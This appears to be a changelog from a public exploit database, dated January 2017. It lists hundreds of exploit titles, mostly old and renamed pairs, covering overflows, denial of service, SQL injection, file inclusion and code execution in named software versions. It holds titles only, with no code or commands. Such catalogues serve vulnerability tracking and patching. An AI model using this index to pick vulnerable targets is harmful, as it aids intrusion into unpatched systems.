DB: 2017-01-25
6 new exploits Mozilla Firefox 1.5 - (history.dat) Looping (PoC) Mozilla Firefox 1.5 - 'history.dat' Looping (PoC) Microsoft Internet Explorer 6 - (script action handlers) 'mshtml.dll' Denial of Service Microsoft Windows Server 2003/XP - (IGMP v3) Denial of Service (MS06-007) (1) Microsoft Internet Explorer 6 - Script Action Handlers 'mshtml.dll' Denial of Service Microsoft Windows Server 2003/XP - IGMP v3 Denial of Service (MS06-007) (1) Microsoft Windows Server 2003/XP - (IGMP v3) Denial of Service (MS06-007) (2) Microsoft Windows Server 2003/XP - IGMP v3 Denial of Service (MS06-007) (2) Apple Mac OSX Safari 2.0.3 - (417.9.2) (ROWSPAN) Denial of Service (PoC) Apple Mac OSX Safari 2.0.3 (417.9.2) - 'ROWSPAN' Denial of Service (PoC) acFTP FTP Server 1.4 - (USER) Remote Buffer Overflow (PoC) acFTP FTP Server 1.4 - 'USER' Remote Buffer Overflow (PoC) 0verkill 0.16 - (ASCII-ART Game) Remote Integer Overflow Crash (PoC) 0verkill 0.16 - ASCII-ART Game Remote Integer Overflow Crash (PoC) Clam AntiVirus 0.88.4 - (rebuildpe) Remote Heap Overflow (PoC) Asterisk 1.0.12 / 1.2.12.1 - (chan_skinny) Remote Heap Overflow (PoC) Clam AntiVirus 0.88.4 - 'rebuildpe' Remote Heap Overflow (PoC) Asterisk 1.0.12 / 1.2.12.1 - 'chan_skinny' Remote Heap Overflow (PoC) AT-TFTP 1.9 - (Long Filename) Remote Buffer Overflow (PoC) AT-TFTP 1.9 - 'Long Filename' Remote Buffer Overflow (PoC) LeadTools ISIS Control - (ltisi14E.ocx v.14.5.0.44) Remote Denial of Service LeadTools ISIS Control - 'ltisi14E.ocx 14.5.0.44' Remote Denial of Service Microsoft Visual FoxPro 6.0 - (FPOLE.OCX 6.0.8450.0) - Remote (PoC) Microsoft Visual FoxPro 6.0 - FPOLE.OCX 6.0.8450.0 Remote (PoC) Castle Rock Computing SNMPc < 7.1.1 - (Community) Remote Buffer Overflow (PoC) Castle Rock Computing SNMPc < 7.1.1 - 'Community' Remote Buffer Overflow (PoC) BitDefender - (module pdf.xmd) Infinite Loop Denial of Service (PoC) BitDefender - Module pdf.xmd Infinite Loop Denial of Service (PoC) ClamAV < 0.94.2 - (JPEG Parsing) Recursive Stack Overflow (PoC) ClamAV < 0.94.2 - JPEG Parsing Recursive Stack Overflow (PoC) Amaya Web Browser 10.0.1/10.1-pre5 - (html tag) Buffer Overflow (PoC) Amaya Web Browser 10.0.1/10.1-pre5 - HTML Tag Buffer Overflow (PoC) Amaya Web Editor - XML and HTML parser Vulnerabilities Amaya Web Editor 11.0 - XML and HTML parser Vulnerabilities Elecard AVC HD PLAYER - '.m3u' / '.xpl' Local Stack Overflow (PoC) RealVNC 4.1.2 - (vncviewer.exe) RFB Protocol Remote Code Execution (PoC) Elecard AVC HD player - '.m3u' / '.xpl' Local Stack Overflow (PoC) RealVNC 4.1.2 - 'vncviewer.exe' RFB Protocol Remote Code Execution (PoC) Apple Mac OSX xnu 1228.3.13 - (zip-notify) Remote Kernel Overflow (PoC) Apple Mac OSX xnu 1228.3.13 - 'zip-notify' Remote Kernel Overflow (PoC) Apple Mac OSX xnu 1228.3.13 - (profil) Kernel Memory Leak/Denial of Service (PoC) Apple Mac OSX xnu 1228.x - (vfssysctl) Local Kernel Denial of Service (PoC) Apple Mac OSX xnu 1228.3.13 - 'Profil' Kernel Memory Leak/Denial of Service (PoC) Apple Mac OSX xnu 1228.x - 'vfssysctl' Local Kernel Denial of Service (PoC) AIMP 2.51 build 330 - (ID3v1/ID3v2 Tag) Remote Stack Buffer Overflow PoC (SEH) AIMP 2.51 build 330 - ID3v1/ID3v2 Tag Remote Stack Buffer Overflow PoC (SEH) eEye Retina WiFi Security Scanner 1.0 - (.rws Parsing) Buffer Overflow (PoC) AwingSoft Web3D Player - (WindsPly.ocx) Remote Buffer Overflow (PoC) eEye Retina WiFi Security Scanner 1.0 - '.rws Parsing' Buffer Overflow (PoC) AwingSoft Web3D Player - 'WindsPly.ocx' Remote Buffer Overflow (PoC) Apple Safari 4.0.2 - (WebKit Parsing of Floating Point Numbers) Buffer Overflow (PoC) Apple Safari 4.0.2 - WebKit Parsing of Floating Point Numbers Buffer Overflow (PoC) Cerberus FTP 3.0.1 - (ALLO) Remote Overflow Denial of Service (Metasploit) Cerberus FTP 3.0.1 - 'ALLO' Remote Overflow Denial of Service (Metasploit) Nginx 0.7.0 < 0.7.61 / 0.6.0 < 0.6.38 / 0.5.0 < 0.5.37 / 0.4.0 < 0.4.14 - (PoC) Nginx 0.7.0 < 0.7.61 / 0.6.0 < 0.6.38 / 0.5.0 < 0.5.37 / 0.4.0 < 0.4.14 - Denial of Service (PoC) Spider Solitaire - Denial of Service (PoC) Ofilter Player - (skin.ini) Local Crash (PoC) Ofilter Player - 'skin.ini' Local Crash (PoC) NPlayer - (.dat Skin) Local Heap Overflow (PoC) NPlayer - '.dat Skin' Local Heap Overflow (PoC) MediaMonkey Player - Local Denial of Service MediaMonkey 3.2.0 - Local Denial of Service Apple Safari 4.0.5 - (object tag) 'JavaScriptCore.dll' Denial of Service (Crash) Apple Safari 4.0.5 - Object Tag 'JavaScriptCore.dll' Denial of Service (Crash) RPM Select/Elite 5.0 - (.xml config parsing) Unicode Buffer Overflow (PoC) RPM Select/Elite 5.0 - '.xml config parsing' Unicode Buffer Overflow (PoC) EDraw Flowchart ActiveX Control 2.3 - (EDImage.ocx) Remote Denial of Service (IE) EDraw Flowchart ActiveX Control 2.3 - 'EDImage.ocx' Remote Denial of Service (IE) Apple Safari 4.0.5 - (531.22.7) Denial of Service Apple Safari 4.0.5 (531.22.7) - Denial of Service Savy Soda Documents - (Mobile Office Suite) '.XLS' Denial of Service Savy Soda Documents - Mobile Office Suite '.XLS' Denial of Service Corel WordPerfect Office X5 15.0.0.357 - (wpd) Buffer Overflow (PoC) Corel Presentations X5 15.0.0.357 - (shw) Buffer Preoccupation (PoC) Corel WordPerfect Office X5 15.0.0.357 - 'wpd' Buffer Overflow (PoC) Corel Presentations X5 15.0.0.357 - 'shw' Buffer Preoccupation (PoC) Barcodewiz BarCode ActiveX 3.29 - (PoC) Barcodewiz BarCode ActiveX 3.29 - Denial of Service (PoC) LeadTools 11.5.0.9 - (ltisi11n.ocx) DriverName() Access Violation Denial of Service LeadTools 11.5.0.9 - (ltlst11n.ocx) Insert() Access Violation Denial of Service LeadTools 11.5.0.9 - 'ltisi11n.ocx' DriverName() Access Violation Denial of Service LeadTools 11.5.0.9 - 'ltlst11n.ocx' Insert() Access Violation Denial of Service LeadTools 11.5.0.9 - (ltdlg11n.ocx) Bitmap Access Violation Denial of Service LeadTools 11.5.0.9 - 'ltdlg11n.ocx' Bitmap Access Violation Denial of Service MediaMonkey 3.2.4.1304 - 'mp3' Buffer Overflow (PoC) MediaMonkey 3.2.4.1304 - '.mp3' Buffer Overflow (PoC) Flash Player - (Flash6.ocx) AllowScriptAccess Denial of Service (PoC) Flash Player - 'Flash6.ocx' AllowScriptAccess Denial of Service (PoC) Microsoft IIS 7.5 (Windows 7) - FTPSVC UNAUTH'D Remote Denial of Service (PoC) Microsoft IIS 7.5 (Windows 7) - FTPSVC Unauthorized Remote Denial of Service (PoC) Avira AntiVir QUA file - (avcenter.exe) Local Crash (PoC) Avira AntiVir - '.QUA' File 'avcenter.exe' Local Crash (PoC) SlimPDF Reader - (PoC) SlimPDF Reader - Denial of Service (PoC) VideoLAN VLC Media Player 1.1.11 - (libav) 'libavcodec_plugin.dll' Denial of Service VideoLAN VLC Media Player 1.1.11 - libav 'libavcodec_plugin.dll' Denial of Service PHP Hash Table Collision - (PoC) PHP Hash Table Collision - Denial of Service (PoC) EdrawSoft Office Viewer Component ActiveX 5.6 - (officeviewermme.ocx) Buffer Overflow (PoC) EdrawSoft Office Viewer Component ActiveX 5.6 - 'officeviewermme.ocx' Buffer Overflow (PoC) PowerNet Twin Client 8.9 - (RFSync 1.0.0.1) Crash (PoC) PowerNet Twin Client 8.9 - 'RFSync 1.0.0.1' Crash (PoC) Spytech NetVizor 6.1 - (services.exe) Denial of Service Spytech NetVizor 6.1 - 'services.exe' Denial of Service Microsoft Windows Help program - (WinHlp32.exe) Crash (PoC) Microsoft Windows Help program - 'WinHlp32.exe' Crash (PoC) Easy DVD Player 3.5.1 - (libav) 'libavcodec_plugin.dll' Denial of Service Easy DVD Player 3.5.1 - libav 'libavcodec_plugin.dll' Denial of Service TeraCopy 2.3 - (default.mo) Language File Integer Overflow TeraCopy 2.3 - 'default.mo' Language File Integer Overflow Samba < 3.6.2 (x86) - (PoC) Samba < 3.6.2 (x86) - Denial of Serviec (PoC) Acoustica Pianissimo 1.0 Build 12 - (Registration ID) Buffer Overflow (PoC) Acoustica Pianissimo 1.0 Build 12 - 'Registration ID' Buffer Overflow (PoC) WHMCS 5.12 - 'cart.php' Denial of Service WHMCompleteSolution (WHMCS) 5.12 - 'cart.php' Denial of Service BSD chpass - (pw_error(3)) Privilege Escalation BSD chpass - 'pw_error(3)' Privilege Escalation Solaris 2.6/7/8/9 (sparc) - (ld.so.1) Privilege Escalation Solaris 2.6/7/8/9 (sparc) - 'ld.so.1' Privilege Escalation Tru64 UNIX 5.0 - (Rev. 910) rdist NLSPATH Buffer Overflow Tru64 UNIX 5.0 - (Rev. 910) edauth NLSPATH Buffer Overflow Tru64 UNIX 5.0 (Rev. 910) - rdist NLSPATH Buffer Overflow Tru64 UNIX 5.0 (Rev. 910) - edauth NLSPATH Buffer Overflow Kerio WebSTAR 5.4.2 (OSX) - (libucache.dylib) Privilege Escalation Kerio WebSTAR 5.4.2 (OSX) - 'libucache.dylib' Privilege Escalation Apache 1.3.33/1.3.34 (Ubuntu / Debian) - (CGI TTY) Privilege Escalation Apache 1.3.33/1.3.34 (Ubuntu / Debian) - CGI TTY Privilege Escalation East Wind Software - (advdaudio.ocx 1.5.1.1) Local Buffer Overflow East Wind Software - 'advdaudio.ocx 1.5.1.1' Local Buffer Overflow Total Video Player 1.31 - (DefaultSkin.ini) Local Stack Overflow Total Video Player 1.31 - 'DefaultSkin.ini' Local Stack Overflow Mp3-Nator 2.0 - (ListData.dat) Universal Buffer Overflow (SEH) Mp3-Nator 2.0 - 'ListData.dat' Universal Buffer Overflow (SEH) Adobe 9.x Related Service - (getPlus_HelperSvc.exe) Privilege Escalation Adobe 9.x Related Service - 'getPlus_HelperSvc.exe' Privilege Escalation Easy Music Player 1.0.0.2 - (wav) Universal Local Buffer Exploit (SEH) (1) Easy Music Player 1.0.0.2 - (wav) Universal Local Buffer Exploit (SEH) (2) Easy Music Player 1.0.0.2 - (wav) Universal Local Buffer Exploit (SEH) (3) Easy Music Player 1.0.0.2 - 'wav' Universal Local Buffer Exploit (SEH) (1) Easy Music Player 1.0.0.2 - 'wav' Universal Local Buffer Exploit (SEH) (2) Easy Music Player 1.0.0.2 - 'wav' Universal Local Buffer Exploit (SEH) (3) Hamster Audio Player 0.3a - (Associations.cfg) Local Buffer Exploit (SEH) (1) Hamster Audio Player 0.3a - 'Associations.cfg' Local Buffer Exploit (SEH) (1) Hamster Audio Player 0.3a - (Associations.cfg) Local Buffer Exploit (SEH) (2) Hamster Audio Player 0.3a - 'Associations.cfg' Local Buffer Exploit (SEH) (2) Spider Solitaire - (PoC) EDraw Flowchart ActiveX Control 2.3 - (.edd parsing) Remote Buffer Overflow (PoC) EDraw Flowchart ActiveX Control 2.3 - '.edd parsing' Remote Buffer Overflow (PoC) Gesytec ElonFmt ActiveX 1.1.14 - (ElonFmt.ocx) pid Item Buffer Overflow (SEH) Gesytec ElonFmt ActiveX 1.1.14 - 'ElonFmt.ocx' pid Item Buffer Overflow (SEH) SopCast 3.4.7 - (Diagnose.exe) Improper Permissions SopCast 3.4.7 - 'Diagnose.exe' Improper Permissions ACE Stream Media 2.1 - (acestream://) Format String (PoC) ACE Stream Media 2.1 - 'acestream://' Format String (PoC) Total Video Player 1.3.1 - (Settings.ini) Buffer Overflow (SEH) (Metasploit) Total Video Player 1.3.1 - 'Settings.ini' Buffer Overflow (SEH) (Metasploit) RedStar 2.0 Desktop - (World-writeable rc.sysinit) Privilege Escalation RedStar 3.0 Desktop - (Software Manager swmng.app) Privilege Escalation RedStar 2.0 Desktop - 'World-writeable rc.sysinit' Privilege Escalation RedStar 3.0 Desktop - 'Software Manager swmng.app' Privilege Escalation MASM321 11 Quick Editor - (.qeditor) 4.0g- .qse SEH Based Buffer Overflow (ASLR & SAFESEH Bypass) MASM321 11 Quick Editor - '.qeditor' 4.0g - .qse SEH Based Buffer Overflow (ASLR & SAFESEH Bypass) ACROS Security 0patch 2016.05.19.539 - (0PatchServicex64.exe) Unquoted Service Path Privilege Escalation ACROS Security 0patch 2016.05.19.539 - '0PatchServicex64.exe' Unquoted Service Path Privilege Escalation Microsoft Remote Desktop Client for Mac 8.0.36 - Remote Code Execution Solaris 2.6/7/8 - (TTYPROMPT in.telnet) Remote Authentication Bypass Solaris 2.6/7/8 - 'TTYPROMPT in.telnet' Remote Authentication Bypass BIND 8.2.x - (TSIG) Stack Overflow (1) BIND 8.2.x - (TSIG) Stack Overflow (2) BIND 8.2.x - (TSIG) Stack Overflow (3) BIND 8.2.x - (TSIG) Stack Overflow (4) BIND 8.2.x - 'TSIG' Stack Overflow (1) BIND 8.2.x - 'TSIG' Stack Overflow (2) BIND 8.2.x - 'TSIG' Stack Overflow (3) BIND 8.2.x - 'TSIG' Stack Overflow (4) Microsoft IIS 5.0 - (500-100.asp) Server Name Spoof Exploit Microsoft IIS 5.0 - '500-100.asp' Server Name Spoof Exploit phpBB 2.0.13 - (admin_styles.php) Remote Command Execution e107 <= 0.6172 - (resetcore.php) SQL Injection phpBB 2.0.13 - 'admin_styles.php' Remote Command Execution e107 <= 0.6172 - 'resetcore.php' SQL Injection Apple Mac OSX Safari Browser - (Safe File) Remote Code Execution (Metasploit) Apple Mac OSX Safari Browser - 'Safe File' Remote Code Execution (Metasploit) Darwin Streaming Server 4.1.2 - (parse_xml.cgi) Code Execution Darwin Streaming Server 4.1.2 - 'parse_xml.cgi' Code Execution Cyrus IMAPD 2.3.2 - (pop3d) Remote Buffer Overflow (1) Cyrus IMAPD 2.3.2 - 'pop3d' Remote Buffer Overflow (1) CesarFTP 0.99g - (MKD) Remote Buffer Overflow (Metasploit) CesarFTP 0.99g - 'MKD' Remote Buffer Overflow (Metasploit) Cyrus IMAPD 2.3.2 - (pop3d) Remote Buffer Overflow (2) Cyrus IMAPD 2.3.2 - 'pop3d' Remote Buffer Overflow (2) AIM Triton 1.0.4 - (SipXtapi) Remote Buffer Overflow (PoC) AIM Triton 1.0.4 - 'SipXtapi' Remote Buffer Overflow (PoC) Microsoft Internet Explorer - (MDAC) Remote Code Execution (MS06-014) (Metasploit) (2) Cyrus IMAPD 2.3.2 - (pop3d) Remote Buffer Overflow (3) Microsoft Internet Explorer - 'MDAC' Remote Code Execution (MS06-014) (Metasploit) (2) Cyrus IMAPD 2.3.2 - 'pop3d' Remote Buffer Overflow (3) IBM Director < 5.10 - (Redirect.bat) Directory Traversal IBM Director < 5.10 - 'Redirect.bat' Directory Traversal Microsoft Internet Explorer - (VML) Remote Buffer Overflow (SP2) (Perl) Microsoft Internet Explorer - 'VML' Remote Buffer Overflow (SP2) (Perl) Omni-NFS Server 5.2 - (nfsd.exe) Remote Stack Overflow (Metasploit) Omni-NFS Server 5.2 - 'nfsd.exe' Remote Stack Overflow (Metasploit) Allied Telesyn TFTP (AT-TFTP) Server/Daemon 1.9 - (Long Filename) Remote Buffer Overflow Allied Telesyn TFTP (AT-TFTP) Server/Daemon 1.9 - 'Long Filename' Remote Buffer Overflow CA BrightStor ARCserve - (msgeng.exe) Remote Heap Overflow (1) CA BrightStor ARCserve - (msgeng.exe) Remote Heap Overflow (2) CA BrightStor ARCserve - 'msgeng.exe' Remote Heap Overflow (1) CA BrightStor ARCserve - 'msgeng.exe' Remote Heap Overflow (2) Mozilla Firefox 2.0.0.1 - (location.hostname) Cross-Domain Mozilla Firefox 2.0.0.1 - 'location.hostname' Cross-Domain 3Com TFTP Service (3CTftpSvc) 2.0.1 - (Long Transporting Mode) Exploit (Perl) 3Com TFTP Service (3CTftpSvc) 2.0.1 - Long Transporting Mode Exploit (Perl) CA BrightStor Backup 11.5.2.0 - (Mediasvr.exe) Remote Code Exploit CA BrightStor Backup 11.5.2.0 - 'Mediasvr.exe' Remote Code Exploit Aircrack-NG 0.7 - (Specially Crafted 802.11 Packets) Remote Buffer Overflow Aircrack-NG 0.7 - 'Specially Crafted 802.11 Packets' Remote Buffer Overflow eCentrex VOIP Client module - (uacomx.ocx 2.0.1) Remote Buffer Overflow eCentrex VOIP Client module - 'uacomx.ocx 2.0.1' Remote Buffer Overflow Microsoft Visual Studio 6.0 - (PDWizard.ocx) Remote Command Execution Microsoft Visual Studio 6.0 - 'PDWizard.ocx' Remote Command Execution MySpace Uploader - (MySpaceUploader.ocx 1.0.0.4) Buffer Overflow MySpace Uploader - 'MySpaceUploader.ocx 1.0.0.4' Buffer Overflow Philips VOIP841 'Firmware 1.0.4.800' - Multiple Vulnerabilities Philips VOIP841 Firmware 1.0.4.800 - Multiple Vulnerabilities Linksys WRT54G (Firmware 1.00.9) - Security Bypass Vulnerabilities (1) Linksys WRT54G Firmware 1.00.9 - Security Bypass Vulnerabilities (1) Black Ice Software Annotation Plugin - (BiAnno.ocx) Buffer Overflow (2) Black Ice Software Annotation Plugin - 'BiAnno.ocx' Buffer Overflow (2) Linksys WRT54G (Firmware 1.00.9) - Security Bypass Vulnerabilities (2) Linksys WRT54G Firmware 1.00.9 - Security Bypass Vulnerabilities (2) Microsoft Access - (Snapview.ocx 10.0.5529.0) ActiveX Remote Exploit Microsoft Access - 'Snapview.ocx 10.0.5529.0' ActiveX Remote Exploit Amaya Web Browser 11 - (bdo tag) Remote Stack Overflow (Windows XP) Amaya Web Browser 11 - (bdo tag) Remote Stack Overflow (Windows Vista) Amaya Web Browser 11 (Windows XP) - bdo tag Remote Stack Overflow Amaya Web Browser 11 (Windows Vista) - bdo tag Remote Stack Overflow Steamcast - (HTTP Request) Remote Buffer Overflow (SEH) (1) Steamcast - (HTTP Request) Remote Buffer Overflow (SEH) (2) Steamcast - HTTP Request Remote Buffer Overflow (SEH) (1) Steamcast - HTTP Request Remote Buffer Overflow (SEH) (2) 32bit FTP (09.04.24) - (CWD Response) Remote Buffer Overflow 32bit FTP (09.04.24) - 'CWD Response' Remote Buffer Overflow 32bit FTP (09.04.24) - (CWD Response) Universal Overwrite (SEH) 32bit FTP - (PASV) Reply Client Remote Overflow (Metasploit) 32bit FTP (09.04.24) - 'CWD Response' Universal Overwrite (SEH) 32bit FTP - 'PASV' Reply Client Remote Overflow (Metasploit) Apple iTunes 8.1.1 - (ITMS) Multiple Protocol Handler Buffer Overflow (Metasploit) Apple iTunes 8.1.1 - 'ITMS' Multiple Protocol Handler Buffer Overflow (Metasploit) Apple iTunes 8.1.1.10 (Windows) - (itms/itcp) Remote Buffer Overflow Apple iTunes 8.1.1.10 (Windows) - 'itms/itcp' Remote Buffer Overflow THOMSON TG585n 7.4.3.2 - (user.ini) Arbitrary Download THOMSON TG585n 7.4.3.2 - 'user.ini' Arbitrary Download Adobe Flash and Reader - (PoC) Adobe Flash and Reader - Live Malware (PoC) Microsoft Internet Explorer - (VML) Fill Method Code Execution (MS06-055) (Metasploit) Microsoft Internet Explorer - 'VML' Fill Method Code Execution (MS06-055) (Metasploit) WinZip FileView - (WZFILEVIEW.FileViewCtrl.61) ActiveX Buffer Overflow (Metasploit) WinZip FileView - 'WZFILEVIEW.FileViewCtrl.61' ActiveX Buffer Overflow (Metasploit) CesarFTP 0.99g - (MKD) Command Buffer Overflow (Metasploit) CesarFTP 0.99g - 'MKD' Command Buffer Overflow (Metasploit) UltraVNC 1.0.2 Client - (vncviewer.exe) Buffer Overflow (Metasploit) UltraVNC 1.0.2 Client - 'vncviewer.exe' Buffer Overflow (Metasploit) Audio File Library 0.2.6 - (libaudiofile) 'msadpcm.c' WAV File Processing Buffer Overflow Audio File Library 0.2.6 - libaudiofile 'msadpcm.c' .WAV File Processing Buffer Overflow Linksys WRT54GC 1.5.7 - (Firmware) 'administration.cgi' Access Validation Linksys WRT54GC 1.5.7 Firmware - 'administration.cgi' Access Validation Cisco WebEx - 'nativeMessaging' Arbitrary Remote Command Execution Mozilla Firefox < 50.0.2 - nsSMILTimeContainer::NotifyTimeChange() Remote Code Execution (Metasploit) Aztek Forum 4.0 - (myadmin.php) Database Dumper Exploit Aztek Forum 4.0 - 'myadmin.php' Database Dumper Exploit E-Cart 1.1 - (index.cgi) Remote Command Execution E-Cart 1.1 - 'index.cgi' Remote Command Execution UBBCentral UBB.Threads < 6.5.2 Beta - (mailthread.php) SQL Injection ASPNuke 0.80 - (article.asp) SQL Injection ASPNuke 0.80 - (comment_post.asp) SQL Injection UBBCentral UBB.Threads < 6.5.2 Beta - 'mailthread.php' SQL Injection ASPNuke 0.80 - 'article.asp' SQL Injection ASPNuke 0.80 - 'comment_post.asp' SQL Injection w-Agora 4.2.0 - (quicklist.php) Remote Code Execution w-Agora 4.2.0 - 'quicklist.php' Remote Code Execution Cyphor 0.19 - (show.php id) SQL Injection Cyphor 0.19 - 'show.php id' SQL Injection eFiction 2.0 - (Fake .gif) Arbitrary File Upload eFiction 2.0 - 'Fake .gif' Arbitrary File Upload CuteNews 1.4.1 - (categories.mdu) Remote Command Execution CuteNews 1.4.1 - 'categories.mdu' Remote Command Execution FlatCMS 1.01 - (file_editor.php) Remote Command Execution FlatCMS 1.01 - 'file_editor.php' Remote Command Execution FCKEditor 2.0 <= 2.2 - (FileManager connector.php) Arbitrary File Upload FCKEditor 2.0 <= 2.2 - 'FileManager connector.php' Arbitrary File Upload FlySpray 0.9.7 - (install-0.9.7.php) Remote Commands Execution Exploit FlySpray 0.9.7 - 'install-0.9.7.php' Remote Commands Execution Exploit GeekLog 1.x - (error.log) Remote Commands Execution Exploit (gpc = Off) GeekLog 1.x - 'error.log' (gpc = Off) Remote Commands Execution Exploit phpWebSite 0.10.0-full - (topics.php) SQL Injection phpWebSite 0.10.0-full - 'topics.php' SQL Injection iGENUS WebMail 2.0.2 - (config_inc.php) Remote Code Execution iGENUS WebMail 2.0.2 - 'config_inc.php' Remote Code Execution TotalECommerce 1.0 - (index.asp id) SQL Injection TotalECommerce 1.0 - 'index.asp id' SQL Injection CilemNews System 1.1 - (yazdir.asp haber_id) SQL Injection CilemNews System 1.1 - 'yazdir.asp haber_id' SQL Injection ShoutLIVE 1.1.0 - (savesettings.php) Remote Code Execution ShoutLIVE 1.1.0 - 'savesettings.php' Remote Code Execution FreeWPS 2.11 - (images.php) Remote Code Execution FreeWPS 2.11 - 'images.php' Remote Code Execution phpBookingCalendar 1.0c - (details_view.php) SQL Injection phpBookingCalendar 1.0c - 'details_view.php' SQL Injection Aztek Forum 4.00 - (myadmin.php) User Privilege Escalation Aztek Forum 4.00 - 'myadmin.php' User Privilege Escalation Claroline 1.7.4 - (scormExport.inc.php) Remote Code Execution Claroline 1.7.4 - 'scormExport.inc.php' Remote Code Execution Sire 2.0 - (lire.php) Remote File Inclusion / Arbitrary File Upload Sire 2.0 - 'lire.php' Remote File Inclusion / Arbitrary File Upload Sphider 1.3 - (configset.php) Arbitrary Remote File Inclusion Sphider 1.3 - 'configset.php' Arbitrary Remote File Inclusion Censtore 7.3.x - (censtore.cgi) Remote Command Execution quizz 1.01 - (quizz.pl) Remote Command Execution Censtore 7.3.x - 'censtore.cgi' Remote Command Execution quizz 1.01 - 'quizz.pl' Remote Command Execution SysInfo 1.21 - (sysinfo.cgi) Remote Command Execution SysInfo 1.21 - 'sysinfo.cgi' Remote Command Execution FlexBB 0.5.5 - (/inc/start.php _COOKIE) SQL Bypass Exploit FlexBB 0.5.5 - '/inc/start.php _COOKIE' SQL Bypass Exploit ASPSitem 1.83 - (Haberler.asp) SQL Injection ASPSitem 1.83 - 'Haberler.asp' SQL Injection FlexBB 0.5.5 - (function/showprofile.php) SQL Injection BK Forum 4.0 - (member.asp) SQL Injection FlexBB 0.5.5 - 'function/showprofile.php' SQL Injection BK Forum 4.0 - 'member.asp' SQL Injection Fast Click 1.1.3 / 2.3.8 - (show.php) Remote File Inclusion Fast Click 1.1.3 / 2.3.8 - 'show.php' Remote File Inclusion HiveMail 1.3 - (addressbook.add.php) Remote Code Execution VP-ASP 6.00 - (shopcurrency.asp) SQL Injection HiveMail 1.3 - 'addressbook.add.php' Remote Code Execution VP-ASP 6.00 - 'shopcurrency.asp' SQL Injection Dokeos Lms 1.6.4 - (authldap.php) Remote File Inclusion Claroline E-Learning 1.75 - (ldap.inc.php) Remote File Inclusion Dokeos Lms 1.6.4 - 'authldap.php' Remote File Inclusion Claroline E-Learning 1.75 - 'ldap.inc.php' Remote File Inclusion Squirrelcart 2.2.0 - (cart_content.php) Remote File Inclusion Squirrelcart 2.2.0 - 'cart_content.php' Remote File Inclusion Woltlab Burning Board 2.3.5 - (links.php) SQL Injection Woltlab Burning Board 2.3.5 - 'links.php' SQL Injection open-medium.CMS 0.25 - (404.php) Remote File Inclusion Back-End CMS 0.7.2.2 - (BE_config.php) Remote File Inclusion open-medium.CMS 0.25 - '404.php' Remote File Inclusion Back-End CMS 0.7.2.2 - 'BE_config.php' Remote File Inclusion DoceboLms 2.0.5 - (help.php) Remote File Inclusion DoceboLms 2.0.5 - 'help.php' Remote File Inclusion PrideForum 1.0 - (forum.asp) SQL Injection PrideForum 1.0 - 'forum.asp' SQL Injection Bytehoard 2.1 - (server.php) Remote File Inclusion Bytehoard 2.1 - 'server.php' Remote File Inclusion Igloo 0.1.9 - (Wiki.php) Remote File Inclusion Igloo 0.1.9 - 'Wiki.php' Remote File Inclusion Informium 0.12.0 - (common-menu.php) Remote File Inclusion Informium 0.12.0 - 'common-menu.php' Remote File Inclusion DotClear 1.2.4 - (prepend.php) Arbitrary Remote File Inclusion DotClear 1.2.4 - 'prepend.php' Arbitrary Remote File Inclusion Wikiwig 4.1 - (wk_lang.php) Remote File Inclusion myNewsletter 1.1.2 - (adminLogin.asp) Login Bypass Wikiwig 4.1 - 'wk_lang.php' Remote File Inclusion myNewsletter 1.1.2 - 'adminLogin.asp' Login Bypass Xtreme/Ditto News 1.0 - (post.php) Remote File Inclusion Back-End CMS 0.7.2.1 - (jpcache.php) Remote File Inclusion Xtreme/Ditto News 1.0 - 'post.php' Remote File Inclusion Back-End CMS 0.7.2.1 - 'jpcache.php' Remote File Inclusion aWebNews 1.5 - (visview.php) Remote File Inclusion aWebNews 1.5 - 'visview.php' Remote File Inclusion PHP Blue Dragon CMS 2.9.1 - (template.php) File Inclusion PHP Blue Dragon CMS 2.9.1 - 'template.php' File Inclusion DreamAccount 3.1 - (auth.api.php) Remote File Inclusion DreamAccount 3.1 - 'auth.api.php' Remote File Inclusion RsGallery2 <= 1.11.2 - (rsgallery.html.php) File Inclusion RsGallery2 <= 1.11.2 - 'rsgallery.html.php' File Inclusion Plume CMS 1.1.3 - (dbinstall.php) Remote File Inclusion Randshop 1.1.1 - (header.inc.php) Remote File Inclusion Plume CMS 1.1.3 - 'dbinstall.php' Remote File Inclusion Randshop 1.1.1 - 'header.inc.php' Remote File Inclusion SQuery 4.5 - (gore.php) Remote File Inclusion SQuery 4.5 - 'gore.php' Remote File Inclusion FlushCMS 1.0.0-pre2 - (class.rich.php) Remote File Inclusion FlushCMS 1.0.0-pre2 - 'class.rich.php' Remote File Inclusion Etomite CMS 0.6.1 - (rfiles.php) Remote Command Execution Etomite CMS 0.6.1 - 'rfiles.php' Remote Command Execution TSEP 0.942 - (copyright.php) Remote File Inclusion TSEP 0.942 - 'copyright.php' Remote File Inclusion WoW Roster 1.70 - (/lib/phpBB.php) Remote File Inclusion WoW Roster 1.70 - '/lib/phpBB.php' Remote File Inclusion TSEP 0.942 - (colorswitch.php) Remote File Inclusion TSEP 0.942 - 'colorswitch.php' Remote File Inclusion SQLiteWebAdmin 0.1 - (tpl.inc.php) Remote File Inclusion SQLiteWebAdmin 0.1 - 'tpl.inc.php' Remote File Inclusion PHPCodeCabinet 0.5 - (Core.php) Remote File Inclusion PHPCodeCabinet 0.5 - 'Core.php' Remote File Inclusion See-Commerce 1.0.625 - (owimg.php3) Remote File Inclusion See-Commerce 1.0.625 - 'owimg.php3' Remote File Inclusion PHPMyRing 4.2.0 - (view_com.php) SQL Injection PHPMyRing 4.2.0 - 'view_com.php' SQL Injection VWar 1.50 R14 - (online.php) SQL Injection VWar 1.50 R14 - 'online.php' SQL Injection Wheatblog 1.1 - (session.php) Remote File Inclusion Wheatblog 1.1 - 'session.php' Remote File Inclusion PHPay 2.02 - (nu_mail.inc.php) Remote mail() Injection PHPay 2.02 - 'nu_mail.inc.php' Remote mail() Injection WEBInsta CMS 0.3.1 - (users.php) Remote File Inclusion WEBInsta CMS 0.3.1 - 'users.php' Remote File Inclusion WTcom 0.2.4-alpha - (torrents.php) SQL Injection WTcom 0.2.4-alpha - 'torrents.php' SQL Injection PHlyMail Lite 3.4.4 - (mod.listmail.php) Remote File Inclusion PHlyMail Lite 3.4.4 - 'mod.listmail.php' Remote File Inclusion LBlog 1.05 - (comments.asp) SQL Injection LBlog 1.05 - 'comments.asp' SQL Injection PHlyMail Lite 3.4.4 - (folderprops.php) Remote File Inclusion (2) Empire CMS 3.7 - (checklevel.php) Remote File Inclusion PHlyMail Lite 3.4.4 - 'folderprops.php' Remote File Inclusion (2) Empire CMS 3.7 - 'checklevel.php' Remote File Inclusion VistaBB 2.x - (functions_mod_user.php) Remote File Inclusion VistaBB 2.x - 'functions_mod_user.php' Remote File Inclusion 